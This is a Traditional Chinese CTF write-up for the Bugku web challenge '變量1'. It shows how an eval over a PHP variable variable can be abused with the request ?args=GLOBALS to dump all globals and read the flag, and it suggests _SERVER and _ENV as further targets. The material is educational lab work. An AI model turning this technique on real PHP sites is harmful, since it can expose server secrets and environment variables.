> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Bugku CTF - 變量1 writeup (zh-TW)
- URL: https://taiwanding.com/bugku-ctf-bian-liang-1-writeup-zh-tw/
- Published: 2025-10-05T05:06:27.000Z
- Updated: 2025-10-05T05:06:27.000Z
- Author: Kevin Chen
- Tags: Bugku, CTF, web

## **題目資訊**

- **分類**: Web
- **分數: 15**
- **解決人次: 16990**
- **題目提示**: "题目变量1"
- 題目連結: [https://ctf.bugku.com/challenges/detail/id/76.html](https://ctf.bugku.com/challenges/detail/id/76.html?ref=taiwanding.com)

## 解題過程

### Step 1: 程式碼分析

關鍵部分：

1. `include "flag1.php"` \- 包含外部檔案，flag 應該儲存在某個變數中
2. `preg_match("/^\w+$/")` \- 只允許字母、數字、底線
3. `eval("var_dump($$args);")` \- 使用可變變數

### Step 2: 理解 PHP 可變變數

PHP 可變變數語法 `$$variable` 可以動態存取變數：

```php
$name = "flag";
$flag = "flag{hello}";
echo $$name;  // 執行過程：$$name → ${"flag"} → $flag → "flag{hello}"

```

應用到本題：

- 當 `$args = "flag1"` 時
- `$$args` \= `$flag1`
- 就會輸出 `$flag1` 變數的值

### Step 3: 使用 GLOBALS 萬能解法

PHP 的 `$GLOBALS` 是一個超全域變數，包含所有全域變數的關聯陣列。

**訪問**：

```
http://目標/?args=GLOBALS

```

**輸出結果**：

```php
array(8) {
  ["_GET"]=>
  array(1) {
    ["args"]=>
    string(7) "GLOBALS"
  }
  ["_POST"]=>
  array(0) {
  }
  ["flag1"]=>
  string(38) "flag{php_variable_variables}"
  ["GLOBALS"]=>
  *RECURSION*
  ["args"]=>
  string(7) "GLOBALS"
}

```

🎯 **在輸出中找到 flag1 的值，成功取得 Flag！**

**其他可能可以利用的超全域變數**：

- `?args=_SERVER` \- 伺服器和環境資訊
- `?args=_ENV` \- 環境變數
- `?args=_GET` \- GET 參數
- `?args=_POST` \- POST 參數

## 學習重點

### 1\. PHP 可變變數機制

- `$$variable` 可以動態存取變數
- 常見危險函數：`extract()`, `parse_str()`, `$$_GET['var']`

### 2\. GLOBALS 的使用

```php
$GLOBALS  // 包含所有全域變數
$GLOBALS['varname']  // 等同於 $varname

```

## 經驗分享

### 關於Step 2:

這一步有嘗試利用下面幾個方式，但顯示NULL，所以才嘗試用GLOBALS

```bash
?args=flag1    # 直接猜測變數名
?args=flag
?args=FLAG
```